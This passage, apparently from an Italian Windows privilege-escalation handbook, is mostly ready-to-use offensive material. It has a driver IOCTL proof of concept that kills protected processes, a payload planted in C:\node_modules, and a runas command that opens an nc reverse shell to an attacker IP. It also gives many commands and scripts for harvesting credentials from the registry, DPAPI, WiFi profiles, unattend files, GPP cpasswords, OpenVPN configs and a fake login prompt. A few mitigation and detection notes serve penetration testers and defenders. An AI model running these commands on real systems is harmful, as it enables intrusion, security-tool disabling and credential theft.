Alcuni driver di terze parti firmati creano il loro device object con un SDDL forte tramite IoCreateDeviceSecure ma dimenticano di impostare FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Senza questo flag, la DACL sicura non viene applicata quando il device viene aperto tramite un path che contiene un componente extra, permettendo a qualsiasi utente non privilegiato di ottenere un handle usando un namespace path come:

• \ .\DeviceName\anything
• \ .\amsdk\anyfile (da un caso reale)

Una volta che un utente può aprire il device, gli IOCTL privilegiati esposti dal driver possono essere abusati per LPE e tampering. Capacità di esempio osservate nel mondo reale:

• Restituire handle con accesso completo a processi arbitrari (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
• Lettura/scrittura raw del disco senza restrizioni (offline tampering, tecniche di persistenza al boot-time).
• Terminare processi arbitrari, incluso Protected Process/Light (PP/PPL), consentendo di uccidere AV/EDR da user land via kernel.

Pattern PoC minimo (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigazioni per gli sviluppatori

• Imposta sempre FILE_DEVICE_SECURE_OPEN quando crei oggetti device destinati a essere limitati da una DACL.
• Valida il contesto del chiamante per le operazioni privilegiate. Aggiungi controlli PP/PPL prima di consentire la terminazione di processi o il ritorno di handle.
• Restringi gli IOCTLs (access masks, METHOD_*, validazione dell’input) e considera modelli brokered invece di privilegi kernel diretti.

Idee di detection per i defender

• Monitora le aperture in user-mode di nomi di device sospetti (ad es., \ .\amsdk*) e sequenze specifiche di IOCTL che indicano abuso.
• Applica la blocklist di Microsoft dei driver vulnerabili (HVCI/WDAC/Smart App Control) e mantieni le tue allow/deny lists.

PATH DLL Hijacking

Se hai permessi di scrittura dentro una cartella presente nel PATH potresti riuscire a hijackare una DLL caricata da un processo ed escalare i privilegi.

Controlla i permessi di tutte le cartelle presenti nel PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Per ulteriori informazioni su come abusare di questo check:

Writable Sys Path +Dll Hijacking Privesc

Node.js / Electron module resolution hijacking via C:\node_modules

Questa è una variante di Windows uncontrolled search path che interessa le applicazioni Node.js e Electron quando eseguono un import diretto come require("foo") e il modulo atteso è mancante.

Node risolve i package risalendo l’albero delle directory e controllando le cartelle node_modules in ogni parent. Su Windows, questa risalita può arrivare alla root del drive, quindi un’applicazione avviata da C:\Users\Administrator\project\app.js può finire per controllare:

1. C:\Users\Administrator\project\node_modules\foo
2. C:\Users\Administrator\node_modules\foo
3. C:\Users\node_modules\foo
4. C:\node_modules\foo

Se un low-privileged user può creare C:\node_modules, può piazzare un foo.js malevolo (o una cartella package) e aspettare che un processo Node/Electron a privilegi più elevati risolva la dipendenza mancante. Il payload viene eseguito nel contesto di sicurezza del processo vittima, quindi questo diventa LPE quando il target gira come administrator, da un elevated scheduled task/service wrapper, o da un’app desktop privilegiata avviata automaticamente.

Questo è particolarmente comune quando:

• una dipendenza è dichiarata in optionalDependencies
• una libreria di terze parti wrappa require("foo") in try/catch e continua in caso di errore
• un package è stato rimosso dai build di produzione, omesso durante il packaging, o non è stato installato correttamente
• il require() vulnerabile vive in profondità nell’albero delle dipendenze invece che nel codice principale dell’applicazione

Hunting vulnerable targets

Usa Procmon per dimostrare il percorso di risoluzione:

• Filtra per Process Name = eseguibile target (node.exe, l’EXE dell’app Electron, o il processo wrapper)
• Filtra per Path contains node_modules
• Concentrati su NAME NOT FOUND e sull’ultima open riuscita sotto C:\node_modules

Pattern utili di code-review nei file .asar estratti o nei sorgenti dell’applicazione:

rg -n 'require\\("[^./]' .
rg -n "require\\('[^./]" .
rg -n 'optionalDependencies' .
rg -n 'try[[:space:]]*\\{[[:space:][:print:]]*require\\(' .

Exploitation

1. Identifica il nome del pacchetto mancante da Procmon o dalla revisione del codice sorgente.
2. Crea la directory di root lookup se non esiste già:

mkdir C:\node_modules

3. Inserisci un modulo con il nome esattamente previsto:

// C:\node_modules\foo.js
require("child_process").exec("calc.exe")
module.exports = {}

4. Attiva l’applicazione vittima. Se l’applicazione prova require("foo") e il modulo legittimo è assente, Node può caricare C:\node_modules\foo.js.

Esempi reali di moduli opzionali mancanti che rientrano in questo schema includono bluebird e utf-8-validate, ma la technique riutilizzabile è questa: trova qualsiasi missing bare import che un processo Node/Electron Windows con privilegi risolverà.

Idee di detection e hardening

• Fai alert quando un utente crea C:\node_modules o scrive nuovi file .js/package lì.
• Cerca processi high-integrity che leggono da C:\node_modules\*.
• Raggruppa tutte le dipendenze runtime in produzione e verifica l’uso di optionalDependencies.
• Esamina il codice di terze parti per pattern silenziosi try { require("...") } catch {}.
• Disabilita i controlli opzionali quando la libreria lo supporta (per esempio, alcune distribuzioni di ws possono evitare il legacy probe utf-8-validate con WS_NO_UTF_8_VALIDATE=1).

Network

Shares

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

file hosts

Controlla altri computer noti hardcoded nel file hosts

type C:\Windows\System32\drivers\etc\hosts

Interfacce di rete e DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Porte aperte

Controlla i servizi limitati dall’esterno

netstat -ano #Opened ports?

Tabella di routing

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabella ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Regole del Firewall

Controlla questa pagina per i comandi relativi al Firewall (elenca regole, crea regole, disattiva, disattiva…)

Più comandi per l’enumerazione di rete qui

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Il binario bash.exe può anche essere trovato in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Se ottieni l’utente root puoi metterti in ascolto su qualsiasi porta (la prima volta che usi nc.exe per metterti in ascolto su una porta, ti chiederà tramite GUI se nc dovrebbe essere consentito dal firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Per avviare facilmente bash come root, puoi provare --default-user root

Puoi esplorare il filesystem di WSL nella cartella C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Credentials

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

Da https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Il Windows Vault memorizza le credenziali dell’utente per server, siti web e altri programmi a cui Windows può effettuare l’accesso automatico degli utenti. A prima vista, potrebbe sembrare che ora gli utenti possano salvare le credenziali di Facebook, Twitter, Gmail, ecc., così da accedere automaticamente tramite i browser. Ma non è così.

Windows Vault memorizza le credenziali che Windows può usare per effettuare automaticamente l’accesso degli utenti, il che significa che qualsiasi applicazione Windows che necessita di credenziali per accedere a una risorsa (server o sito web) può fare uso di questo Credential Manager e del Windows Vault e usare le credenziali fornite invece di far inserire ogni volta username e password agli utenti.

A meno che le applicazioni non interagiscano con Credential Manager, non credo sia possibile per loro usare le credenziali per una determinata risorsa. Quindi, se la tua applicazione vuole fare uso del vault, dovrebbe in qualche modo comunicare con il credential manager e richiedere le credenziali per quella risorsa dal vault di archiviazione predefinito.

Usa cmdkey per elencare le credenziali memorizzate sulla macchina.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Poi puoi usare runas con l’opzione /savecred per utilizzare le credenziali salvate. Il seguente esempio sta richiamando un binario remoto tramite una condivisione SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Usando runas con un set di credenziali fornito.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Nota che mimikatz, lazagne, credentialfileview, VaultPasswordView, o dal modulo Empire Powershells.

DPAPI

La Data Protection API (DPAPI) fornisce un metodo per la crittografia simmetrica dei dati, usato principalmente all’interno del sistema operativo Windows per la crittografia simmetrica delle chiavi private asimmetriche. Questa crittografia sfrutta un secret dell’utente o del sistema per contribuire in modo significativo all’entropy.

DPAPI consente la crittografia delle chiavi tramite una chiave simmetrica derivata dai secret di login dell’utente. Negli scenari che coinvolgono la crittografia di sistema, utilizza i secret di autenticazione del dominio del sistema.

Le chiavi RSA dell’utente crittografate, tramite DPAPI, sono archiviate nella directory %APPDATA%\Microsoft\Protect\{SID}, dove {SID} rappresenta il Security Identifier dell’utente. La chiave DPAPI, collocata insieme al master key che protegge le chiavi private dell’utente nello stesso file, in genere è composta da 64 byte di dati casuali. (È importante notare che l’accesso a questa directory è limitato, impedendone l’elenco dei contenuti tramite il comando dir in CMD, anche se può essere elencata tramite PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Puoi usare il modulo mimikatz dpapi::masterkey con gli argomenti appropriati (/pvk o /rpc) per decrittarlo.

I file delle credenziali protetti dalla master password si trovano di solito in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Puoi usare il mimikatz module dpapi::cred con il /masterkey appropriato per decrittare.
Puoi estrarre molti DPAPI masterkeys dalla memory con il sekurlsa::dpapi module (se sei root).

DPAPI - Extracting Passwords

PowerShell Credentials

Le PowerShell credentials sono spesso usate per attività di scripting e automazione come modo conveniente per archiviare credenziali cifrate. Le credenziali sono protette usando DPAPI, il che in genere significa che possono essere decrittate solo dallo stesso utente sullo stesso computer su cui sono state create.

Per decrypt una PS credentials dal file che la contiene puoi fare:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Connessioni RDP salvate

Puoi trovarle in HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
e in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandi eseguiti di recente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remote Desktop Credential Manager

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use il modulo Mimikatz dpapi::rdg con il /masterkey appropriato per decifrare qualsiasi file .rdg
Puoi estrarre molte DPAPI masterkeys dalla memoria con il modulo sekurlsa::dpapi di Mimikatz

Sticky Notes

Spesso le persone usano l’app StickyNotes sui workstation Windows per salvare password e altre informazioni, senza rendersi conto che si tratta di un file database. Questo file si trova in C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite ed è sempre utile cercarlo ed esaminarlo.

AppCmd.exe

Nota che per recuperare password da AppCmd.exe devi essere Administrator ed eseguire con un livello di High Integrity.
AppCmd.exe si trova nella directory %systemroot%\system32\inetsrv\.
Se questo file esiste, allora è possibile che alcune credentials siano state configurate e possano essere recuperate.

Questo codice è stato estratto da PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Controlla se C:\Windows\CCM\SCClient.exe esiste .
Gli installer vengono eseguiti con privilegi SYSTEM, molti sono vulnerabili al DLL Sideloading (Info da https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

File e Registry (Credenziali)

Credenziali Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Chiavi host SSH di Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Chiavi SSH nel registry

Le chiavi private SSH possono essere archiviate nella chiave di registro HKCU\Software\OpenSSH\Agent\Keys, quindi dovresti controllare se lì c’è qualcosa di interessante:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Se trovi una voce all’interno di quel percorso, probabilmente sarà una chiave SSH salvata. È memorizzata crittografata, ma può essere facilmente decrittata usando https://github.com/ropnop/windows_sshagent_extract.
Più informazioni su questa tecnica qui: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Se il servizio ssh-agent non è in esecuzione e vuoi che si avvii automaticamente all’avvio, esegui:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Sembra che questa tecnica non sia più valida. Ho provato a creare alcune chiavi ssh, aggiungerle con ssh-add e accedere via ssh a una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l’uso di dpapi.dll durante l’autenticazione con chiave asimmetrica.

File unattended

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Puoi anche cercare questi file usando metasploit: post/windows/gather/enum_unattend

Contenuto di esempio:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Backup di SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenziali Cloud

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Cerca un file chiamato SiteList.xml

Cached GPP Pasword

In precedenza era disponibile una funzionalità che consentiva il deployment di account amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi falle di sicurezza. Innanzitutto, i Group Policy Objects (GPOs), archiviati come file XML in SYSVOL, potevano essere accessibili da qualsiasi domain user. In secondo luogo, le password all’interno di questi GPPs, cifrate con AES256 usando una chiave predefinita documentata pubblicamente, potevano essere decriptate da qualsiasi authenticated user. Ciò rappresentava un rischio serio, poiché poteva consentire agli utenti di ottenere privilegi elevati.

Per mitigare questo rischio, è stata sviluppata una funzione per cercare file GPP memorizzati in locale che contengano un campo “cpassword” non vuoto. Dopo aver trovato un file del genere, la funzione decripta la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell’identificazione e nella correzione di questa vulnerabilità di sicurezza.

Cerca in C:\ProgramData\Microsoft\Group Policy\history o in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (prima di W Vista) questi file:

• Groups.xml
• Services.xml
• Scheduledtasks.xml
• DataSources.xml
• Printers.xml
• Drives.xml

Per decriptare la cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec per ottenere le password:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\Windows\Microsoft.NET\Framework644.0.30319\Config\web.config | findstr connectionString
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Esempio di web.config con credenziali:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenziali OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Log

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Chiedere credenziali

Puoi sempre chiedere all’utente di inserire le sue credenziali o anche le credenziali di un altro utente se pensi che possa conoscerle (nota che chiedere direttamente al client le credenziali è davvero rischioso):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Possibili nomi di file contenenti credenziali

File noti che in passato contenevano password in chiaro o in Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Cerca tutti i file proposti:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credenziali nel RecycleBin

Dovresti anche controllare il Bin per cercare credenziali al suo interno

Per recuperare password salvate da diversi programmi puoi usare: http://www.nirsoft.net/password_recovery_tools.html

All’interno del registry

Altre possibili chiavi del registry con credenziali

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Estrai le chiavi openssh dal registry.

Cronologia dei Browser

Dovresti controllare i db in cui sono memorizzate le password di Chrome o Firefox.
Controlla anche la cronologia, i segnalibri e i preferiti dei browser, così magari alcune password sono memorizzate lì.

Strumenti per estrarre password dai browser:

• Mimikatz: dpapi::chrome
• SharpWeb
• SharpChromium
• SharpDPAPI

Sovrascrittura di COM DLL

Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che consente l’intercomunicazione tra componenti software di linguaggi diversi. Ogni componente COM è identificato tramite un class ID (CLSID) e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs).

Le classi e le interfacce COM sono definite nel registry sotto HKEY\CLASSES\ROOT\CLSID e HKEY\CLASSES\ROOT\Interface rispettivamente. Questo registry è creato unendo HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

All’interno dei CLSID di questo registry puoi trovare il sotto-registry InProcServer32 che contiene un default value che punta a una DLL e un valore chiamato ThreadingModel che può essere Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) o Neutral (Thread Neutral).

In pratica, se puoi sovrascrivere una qualsiasi delle DLL che verranno eseguite, potresti ottenere un’escalation di privilegi se quella DLL viene eseguita da un altro utente.

Per imparare come gli attacker usano il COM Hijacking come meccanismo di persistenza, controlla:

COM Hijacking

Ricerca generica di password in file e registry

Cerca nel contenuto dei file

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Cerca un file con un determinato nome file

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Cerca nel registry nomi di chiavi e password

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Strumenti che cercano password

MSF-Credentials Plugin is a msf plugin ho creato questo plugin per eseguire automaticamente ogni modulo POST di metasploit che cerca credenziali all’interno della vittima.
Winpeas cerca automaticamente tutti i file contenenti password menzionati in questa pagina.
Lazagne è un altro ottimo tool per estrarre password da un sistema.

Lo strumento SessionGopher cerca sessioni, username e password di diversi tool che salvano questi dati in chiaro (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Immagina che un processo in esecuzione come SYSTEM apra un nuovo processo (OpenProcess()) con accesso completo. Lo stesso processo crei anche un nuovo processo (CreateProcess()) con privilegi bassi ma ereditando tutti gli handle aperti del processo principale.
Poi, se hai accesso completo al processo a privilegi bassi, puoi afferrare l’handle aperto verso il processo privilegiato creato con OpenProcess() e iniettare una shellcode.
Leggi questo esempio per maggiori informazioni su come rilevare e sfruttare questa vulnerabilità.
Leggi questo altro post per una spiegazione più completa su come testare e abusare di altri handle aperti di processi e thread ereditati con diversi livelli di permessi (non solo accesso completo).

Named Pipe Client Impersonation

I segmenti di memoria condivisa, noti come pipes, consentono la comunicazione tra processi e il trasferimento di dati.

Windows fornisce una funzionalità chiamata Named Pipes, che permette a processi non correlati di condividere dati, anche su reti diverse. Questo assomiglia a un’architettura client/server, con ruoli definiti come named pipe server e named pipe client.

Quando i dati vengono inviati attraverso una pipe da un client, il server che ha configurato la pipe ha la possibilità di assumere l’identità del client, purché disponga dei necessari diritti SeImpersonate. Individuare un processo privilegiato che comunica tramite una pipe che puoi imitare offre l’opportunità di ottenere privilegi più elevati adottando l’identità di quel processo una volta che interagisce con la pipe che hai creato. Per istruzioni su come eseguire un attacco di questo tipo, guide utili si trovano qui e qui.

